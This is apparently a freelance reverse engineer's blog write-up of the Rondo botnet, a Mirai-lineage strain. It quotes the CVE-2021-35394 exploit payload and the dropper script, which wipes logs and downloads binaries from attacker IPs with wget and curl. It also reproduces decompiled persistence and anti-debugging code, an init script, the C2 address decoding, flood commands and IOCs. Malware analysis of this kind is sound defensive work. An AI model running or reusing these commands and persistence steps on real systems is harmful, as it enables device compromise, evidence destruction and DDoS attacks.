Reversing the Rondo Botnet: From CVE-2021-35394 to Persistence and C2

About the author. I’m Colin Xiao — an independent reverse engineer, mostly working solo on contract jobs. I dig into compiled code of every kind, including but not limited to: Android and iOS apps, x86/x64/ARM native binaries, packers and obfuscators, DRM and license checks, network protocols and APIs, crypto and signature algorithms, malware, game binaries, and embedded/IoT firmware. I also handle large-scale data collection and vulnerability research. If you have any project in mind, I’d be glad to take it on — whatever it is, as long as it’s within my wheelhouse. Just reach out. You can reach me on X at @colinxiao_lab or on Telegram at https://t.me/ColinXiao666.

This research is published for educational and defensive purposes. The target sample is anonymized throughout.

This is a full reverse-engineering walkthrough of a Linux botnet binary captured in the wild. We start from the exploitation attempt, work through the dropper script and the payload binary’s 244 functions, and end at its C2 protocol. Everything here is documented for detection and defense — the IOCs (IPs, the attacker’s contact address) are included deliberately.

The exploitation attempt

We captured a command-execution exploit attempt against a Realtek SDK target, abusing CVE-2021-35394. The attacker’s payload:

orf;killall -9 mipsel mpsl mips boatnet.mpsl;busybox wget -qO- http://**.**.**.**.**/rondo.kqa.sh|sh;echo

It kills rival processes (mipsel, mpsl, mips, boatnet.mpsl), then downloads and runs the dropper script rondo.kqa.sh.

The dropper script (rondo.kqa.sh)

Wiping host logs

# bang2012@protonmail.com
rm -rf /var/log/* /var/cache/* ~/.cache
cd /dev
echo >/dev/shm/.t && cd /dev/shm; rm -f /dev/shm/.t
echo >$HOME/.t && cd $HOME; rm -f $HOME/.t
echo >/tmp/.t && cd /tmp; rm -f /tmp/.t
echo >/data/local/tmp/.t && cd /data/local/tmp; rm -f /data/local/tmp/.t
echo >/run/.t && cd /run; rm -f /run/.t
echo >/run/user/0/.t && cd /run/user/0; rm -f /run/user/0/.t
echo >/var/log/.t && cd /var/log; rm -f /var/log/.t
echo >/var/lock/.t && cd /var/lock; rm -f /var/lock/.t
echo >/var/run/.t && cd /var/run; rm -f /var/run/.t
echo >/var/tmp/.t && cd /var/tmp; rm -f /var/tmp/.t
echo >/mnt/.t && cd /mnt; rm -f /mnt/.t
echo >/media/.t && cd /media; rm -f /media/.t
echo >/usr/bin/.t && cd /usr/bin; rm -f /usr/bin/.t
echo >/bin/.t && cd /bin; rm -f /bin/.t

Multi-architecture download

The script downloads a matching payload for the host’s architecture:

mkdir lib
(chmod 755 lib||busybox chmod 755 lib)&&cd lib
rm -rf rondo
rm -rf rondo.*
(wget http://**.**.**.**/rondo.mipsel||curl -O http://83.252.42.112/rondo.mipsel||busybox wget http://83.252.42.112/rondo.mipsel)
(cat rondo.mipsel > rondo||busybox cat rondo.mipsel > rondo||mv rondo.mipsel > rondo)
rm -rf rondo.mipsel
(chmod 777 rondo||busybox chmod 777 rondo)||(chmod +x rondo||busybox chmod +x rondo)
killall -9 rondo;pkill -9 rondo
sudo killall -9 rondo;sudo pkill -9 rondo
sudo ./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0
./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0

The binary (rondo.x86_64)

IDA recovers 244 functions. The binary is run as:

./rondo "realtek.x86_64"

The entry point:

entry_func(
    (__int64 (__fastcall *)(_QWORD, void **, __int64))main,
    env_count,
    &envp,
    (void (*)(void))init_proc,
    (__int64)term_proc,
    a3,
    (__int64)&v5);

entry_func checks the standard file descriptors and run arguments, then hands off to the real main.

main()

The program starts by writing the operator’s contact address into a buffer:

write_log("bang2012@protonmail.com");

The binary is full of encrypted strings. Here’s the decryption routine:

__int64 __fastcall str_decropty(__int64 a1, __int64 a2)
{
  unsigned __int64 v3; // rbp
  __int64 result; // rax
  __int64 v5; // rsi
  unsigned __int64 v6; // rcx

  v3 = strlen(a2);
  result = strlen(a1);
  v5 = result;
  if ( result )
  {
    v6 = 0LL;
    do
    {
      result = *(unsigned __int8 *)(a2 + v6 % v3);
      *(_BYTE *)(v6 + a1) ^= result;
      ++v6;
    }
    while ( v5 != v6 );
  }
  return result;
}

A plain XOR against a key, cycled. In Python:

def str_decropty(a1, a2):
    v3 = len(a2)
    result = len(a1)
    v5 = result
    if result:
        v6 = 0
        a1_list = list(a1)
        while v6 != v5:
            result = ord(a2[v6 % v3])
            a1_list[v6] = chr(ord(a1_list[v6]) ^ result)
            v6 += 1
        a1 = ''.join(a1_list)
    return a1

It’s invoked with ! as the key:

str_decropty((__int64)&dev_null, (__int64)decropty_str);
sub_4007A0();
str_decropty((__int64)&proc_self_status, (__int64)decropty_str);
str_decropty((__int64)TracerPid, (__int64)decropty_str);
sub_4008C0();
str_decropty((__int64)&sys_module_kgdboc_parameters_, (__int64)decropty_str);
str_decropty((__int64)&proc_cmdline, (__int64)decropty_str);
str_decropty((__int64)&etc_default_grub, (__int64)decropty_str);
str_decropty((__int64)&proc_modules, (__int64)decropty_str);
str_decropty((__int64)&kgdboc, (__int64)decropty_str);
str_decropty((__int64)&kgdboc_0, (__int64)decropty_str);
str_decropty((__int64)&tty, (__int64)decropty_str);

Anti-debugging

The malware checks for kernel-debugging artifacts and kills itself if any are present:

  • /sys/module/kgdbc/parameters/tty
  • /proc/cmdline/kgdbc
  • /etc/default/grub/kgdbc
  • /proc/modules/kgdbc
if ( (unsigned int)find_str_in_file_1((__int64)&sys_module_kgdboc_parameters_, (__int64)&tty)
  || (unsigned int)find_str_in_file((__int64)&proc_cmdline, (__int64)&kgdboc)
  || (unsigned int)find_str_in_file((__int64)&etc_default_grub, (__int64)&kgdboc)
  || (unsigned int)find_str_in_file((__int64)&proc_modules, (__int64)&kgdboc_0) )
{
    kill(-1, 9);
    quitsxw(0);
}

Randomness and /proc enumeration

It gathers randomness from sys_time, sys_get_pid, and opens a handle to /proc:

sys_time = get_sys_time(0LL);
getrand_by_time(sys_time);
time_now = get_sys_time(0LL);
pid_a = sys_get_pid_a();
pid1_pid2 = sys_get_pid_b() ^ pid_a;
rand2 = sub_40C534();
nomeandata = pid1_pid2 ^ rand2;
current_pid = sys_get_pid_a();
rand_num = get_rand_func();
v15 = (unsigned int)(rand_num % 3 + 7);
rand_x = rand_num % 3 + 7;
rand_y = (int)v15;
rand_y_n = (int)v15 + 130LL;
v16 = alloca((int)v15 + 145LL);
file_dir_rand = &stack_str;
v94 = (unsigned int *)open_dir((int)&proc, v15, rand_num % 3 + 137, rand_num >> 31, v17, v18);

The /proc structure it relies on:

Path Description
/proc/<PID>/exe symlink to the process executable
/proc/<PID>/cwd process current working directory
/proc/<PID>/fd/ process file descriptors
/proc/<PID>/stat process status (runtime, memory, etc.)

Killing competing processes

A three-level nested loop walks every PID under /proc and kills everything except system and self processes.

Level 1 — iterate processes, filter out system PIDs; once done, kill all recorded PIDs:

while ( 1 )
{
  tmp_pid = iter_dir(v94);       // iterate files
  if ( !tmp_pid )                // all iterated — start clearing recorded processes
  {
    free_hd(v94);
    v33 = v97 - 1;
    if ( v97 - 1 >= 0 )
    {
      do
      {
        v34 = buffer_pid[v33];
        if ( v34 > 0 )
          kill(v34, 9);
        --v33;
      }
      while ( v33 != -1 );
    }
    goto LABEL_44;
  }
  if ( *(_BYTE *)(tmp_pid + 18) == 4 )
  {
    v20 = tmp_pid + 0x13;
    v21 = str_to_int(tmp_pid + 0x13);
    proc_pid = v21;
    if ( v21 > 299 && current_pid != v21 ) // PID > 299 (non-system) and not self
      break;
  }
}

Level 2 — get the running program name for the PID:

snprintf((__int64)proc_id, 4096LL, (__int64)&proc__s, v20);
read_link_len = read_link_addr(proc_id, real_addr, 4095);
if ( read_link_len != -1 )
  break;
if ( *(_DWORD *)globle_arg() == 2 )
  goto LABEL_38;

Level 3 — resolve and normalize the path, then record the PID (filtering by (deleted), softirq, architecture suffixes, and a set of /tmp/, /var/, /data/local paths):

if ( read_link_len > 0 ) // the actual path exists
{
  real_addr[read_link_len] = 0;
  path_buffer = ".";
  if ( real_addr[0] )
  {
    // check address legal
    v74 = real_addr;
    do
    {
      v75 = *(_DWORD *)v74;
      v74 += 4;
      v76 = ~v75 & (v75 - 16843009) & 0x80808080;
    }
    while ( !v76 );
    v77 = 1023LL;
    if ( (~v75 & (v75 - 16843009) & 0x8080) == 0 )
    {
      LOBYTE(v76) = (~v75 & (v75 - 16843009) & 0x80808080) >> 16;
      v74 += 2;
    }
    v78 = &v74[-__CFADD__((_BYTE)v76, (_BYTE)v76) - 3] - v83;
    if ( v78 <= 0x3FF )
      v77 = v78;
    amemcpy((__int64)exe_path_buffer, real_addr, v77);
    exe_path_buffer[v77] = 0;
    if ( v77 > 1 )
    {
      for ( i = v77 - 1; exe_path_buffer[i] == 47; --i )
      {
        exe_path_buffer[i] = 0;
        if ( i == 1 )
          break;
      }
    }
    last_str = find_last_str(exe_path_buffer, '/');
    path_buffer = exe_path_buffer;
    v81 = last_str + 1;
    if ( !last_str )
      v81 = path_buffer;
    path_buffer = v81;
  }
  // if the file name is not "(deleted)!", record the PID
  v99 = (unsigned __int64)strlen(path_buffer);
  len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83);
  v24 = strlen(_deledted_);
  v25 = v24;
  if ( len_real_addr >= v24
    && !(unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v24), _deledted_) )
  {
    if ( v97 <= 4095 )
    {
      v73 = v97++;
      buffer_pid[v73] = proc_pid;
    }
    real_addr[len_real_addr - v25] = 0;
    len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83);
  }
  // if the file name is not "(softirq)!", record the PID
  v26 = strlen(softirq);
  if ( len_real_addr < v26 || (unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v26), softirq) )
  {
    // check the file architecture (whether the filename ends in arm etc.)
    struct_index = 0LL;
    v85 = &path_buffer[v99];
    do
    {
      v28 = (_BYTE *)structs_list_tmp[struct_index];
      v29 = strlen(v28);
      if ( v29
        && (!(unsigned int)strcmp(path_buffer, v28)
         || v99 > (unsigned __int64)v29
         && path_buffer[v99 - (_QWORD)v29 - 1] == 46
         && !(unsigned int)strcmp((char *)(v85 - v29), v28)) )
      {
        break;
      }
      ++struct_index;
    }
    while ( struct_index != 29 );
    // processes under /tmp/ /var/ /data/local etc. are not recorded
    if ( (!(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170D9, 5uLL)
       || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170E0, 5uLL)
       || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170F1, 5uLL)
       || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170F7, 5uLL)
       || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170FD, 5uLL)
       || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_517103, 5uLL)
       || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_517109, 5uLL)
       || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170D2, 6uLL)
       || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_51710F, 7uLL))
      && v97 <= 4095 )
    {
      v30 = v97++;
      buffer_pid[v30] = proc_pid;
    }
    v31 = find_last_str(real_addr, '/');
    if ( v31 )
    {
      if ( v31[1] == 46 )
      {
LABEL_38:
        if ( v97 <= 4095 )
        {
          v32 = v97++;
          buffer_pid[v32] = proc_pid;
        }
      }
    }
  }
}

Renaming and relocating

It extracts the execution directory, builds a random filename, moves itself to /lib/systemd/, renames the current thread, overwrites its argv, and forks:

v35 = (char *)*argv;
v36 = find_last_str(*argv, '/');
if ( v36 )
{
  v37 = v36 - v35;
  memcpy_1((__int64)dir_part, v35, v36 - v35);
  dir_part[v37] = 0;
}
else
{
  strcpy(dir_part, ".");
}

Random filename from abcdefghijklmnopqrstuvwxyz:

v38 = rand_y + 1;
v39 = alloca(rand_y + 16);
name = &stack_str;
strcpy(a_z_str, "abcdefghijklmnopqrstuvwxyz");
if ( rand_x )
{
  v40 = 1LL;
  do
    name[v40++ - 1] = a_z_str[(int)get_rand_func() % 0x1AuLL];
  while ( v38 != v40 );
}
v41 = name;
name[rand_y] = 0;
snprintf((__int64)file_dir_rand, rand_y_n, (__int64)"%s/%s", dir_part, v41);

Then rename, move, and fork:

if ( !(unsigned int)check_rename_mv(*argv, file_dir_rand) ) // rename the file
{
  mem_free(argvx);
  argvx = (char *)copy_str(file_dir_rand);
  last_num = find_last_str(argvx, '/');
  snprintf((__int64)real_addr, 4096LL, (__int64)"/lib/systemd/%s", name);
  if ( (int)check_dir(real_addr, 0) < 0 )
  {
    MKDIR_check("/lib/systemd", 493);
    if ( !(unsigned int)check_rename_mv(file_dir_rand, real_addr) )
    {
      mem_free(argvx);
      argvx = (char *)copy_str(real_addr);
      last_num = find_last_str(argvx, '/');
    }
  }
  v42 = argv;
  v43 = 0;
  set_thread_name(15, (unsigned __int64)name, 0LL, 0LL);
  do
  {
    v44 = (char *)*v42;
    ++v43;
    ++v42;
    v45 = strlen(v44);
    memset(v44, 0LL, v45);
  }
  while ( argc_cnt != v43 );
  v46 = strlen(name);
  memcpy_1((__int64)*argv, name, (unsigned __int64)(v46 + 1));
  if ( (int)fork_check() > 1 )
    quitsxw(0); // exit
  perisist_func((__int64)rondo_1); // the child persists
}

persist_func()

The child creates /etc, /etc/rondo, /etc/init/d, opens /proc/self/exe, and copies the binary to /etc/rondo/rondo:

mkdir_check(etc, 493);
mkdir_check(rondo_etc, 493);
mkdir_check(init_etc, 493);
v1 = fopen(&proc_self_exe, "rb");
v2 = -1;
if ( v1 )
{
  remove(etc_rondo, (__int64)"rb");
  v3 = fopen(etc_rondo, "wb");
  if ( !v3 )
  {
    fclose(v1);
    return (unsigned int)-1;
  }
  while ( 1 )
  {
    v4 = read_file((__int64)v75, 1LL, 4096LL, v1);
    if ( !v4 )
      break;
    if ( v4 != write_log_rondo((__int64)v75, 1uLL, v4, v3) )
      goto quit;
  }
  if ( (unsigned int)sub_40DEB4(v1) )
  {
quit:
    fclose(v1);
    fclose(v3);
    return (unsigned int)-1;
  }
  fclose(v1);
  fclose(v3);
  chmod(etc_rondo, 0x1FFLL);
  v6 = find_str(a1, &persisted);
  v2 = 0;
}

Then it assembles an init script that restarts the malware on boot:

#!/bin/sh
### BEGIN INIT INFO
# Provides:          rondo
# Required-Start:    $local_fs $network
# Required-Stop:
# Default-Start:     3 4 5
# Default-Stop:      0 6
# Short-Description: rondo
# Description:       rondo
### END INIT INFO
case "$1" in
    start|restart|"")
    /etc/rondo/rondo realtek.x86_64.persisted &
    ;;
esac
exit 0

It drops this script into /etc/init/d/rondo and /etc/rc3.d/S99rondo with mode 511, and appends /etc/rondo/rondo realtek.x86_64.persisted & to autostart files like /etc/RCs, /etc/init.d/rcd, and /etc/rc.local:

sys_unlink(&unk_517260);
v9 = fopen(&unk_517260, "w");
v10 = v9;
if ( v9 )
{
  fwrite(script, v9);
  fclose(v10);
  chmod(&unk_517260, 511LL);
  sys_unlink(&unk_5172C0);
  sub_40C3FC(&unk_517260, &unk_5172C0);
}
sys_unlink(&unk_517280);
if ( (int)sub_40C3FC(&unk_517260, &unk_517280) < 0 )
{
  sys_unlink(&unk_517280);
  v83 = fopen(&unk_517280, "w");
  v84 = v83;
  if ( v83 )
  {
    fwrite(script, v83);
    fclose(v84);
    chmod(&unk_517280, 511LL);
  }
}

It also writes the operator’s address to /etc/contact.txt, and sabotages system commands like ufw and passwd by renaming them:

v63 = &v112;
v64 = "/sbin";
v112 = "/sbin";
v113 = "/usr/sbin";
v114 = "/bin";
v115 = "/usr/bin";
v116 = &unk_414974;
v117 = &unk_414983;
v118 = 0LL;
do
{
  snprintf((unsigned int)v108, 4096, (unsigned int)"%s/%s", (_DWORD)v64, (unsigned int)aBiqRrve, v55, v87);
  if ( !(unsigned int)sub_40C0EC(v108, 0LL) )
  {
    snprintf((unsigned int)v107, 4096, (unsigned int)"%s/%s", (_DWORD)v64, (unsigned int)aDsdfiy, v55, v87);
    rename(v108, v107);
  }
  v64 = v63[1];
  ++v63;
}
while ( v64 );

Decoding the C2 address

Using rondo as the decode key, it decrypts the C2 IP — 83.150.218.93:

strcpy(v123, "J\\@UZBA\\UW\\V", 14);
do
{
  v120[v73] = byte_4151C8[v73] ^ 0x6B;
  ++v73;
}
while ( v73 != 5 );
v120[5] = 0;
v74 = 0;
decode(v123, v120);

C2 communication

It connects to the C2 server, reports status, and waits for commands:

if ( (int)deal_ip(2LL, v123, (char *)v121 + 4) > 0 )
  while ( 1 )
  {
    v75 = sys_socket(2LL, 1LL, 0LL); // create socket
    ...
if ( v75 >= 0 )
{
  if ( (unsigned int)try_connect((unsigned int)v75, v121, 16LL, 30LL) == -1 )
  {
    sysclose(v76);
    sub_411320(10LL);
  }
  else
  {
    snprintf(
      (unsigned int)v111,
      128,
      (unsigned int)"%s %s %d\n",
      (unsigned int)aSnoen,
      (_DWORD)v96,
      ++v74,
      v87);
    send_pcap(v76, v111, strlen(v111), 0LL);
    connect(v76, v122, v96);
    sysclose(v76);
  }
}

The beacon serial format is rondo id. The C2 server can then issue:

Command Meaning
check host replies ack
.exit host terminates the process
sys .arg1 cmd host runs cmd via /bin/bash
.udp / .sudp / .udpraw UDP flood variants
.syn SYN flood
.handshake TCP handshake flood
.psh PSH flag flood
.tcplegit legitimate-TCP flood
.http HTTP flood
.spoof spoofed-source flood
.icmp ICMP flood
.raw raw packet flood
.tcp TCP flood

That command list is the tell: a Mirai-family IoT botnet with a kill-competing-process + DDoS payload. The kill-all rival-process behavior, the multi-architecture dropper, the /etc/rondo/rondo persistence, and the flood-command C2 are all textbook Mirai lineage.

IOCs

  • C2: 83.150.218.93
  • Payload host: 83.252.42.112
  • Operator contact: bang2012@protonmail.com
  • Persistence: /etc/rondo/rondo, /etc/init/d/rondo, /etc/rc3.d/S99rondo
  • Exploit: CVE-2021-35394 (Realtek SDK command execution)

Colin Xiao — I take on contract reverse-engineering work, and writeups like this are how I show what I can do. If you need help with anything in this space — including but not limited to the areas I cover above — I’m available. No project is too big or too small — if it’s reverse engineering and I can do it, I’ll take it. DM me on X (@colinxiao_lab) or Telegram (@ColinXiao666).

Get in touch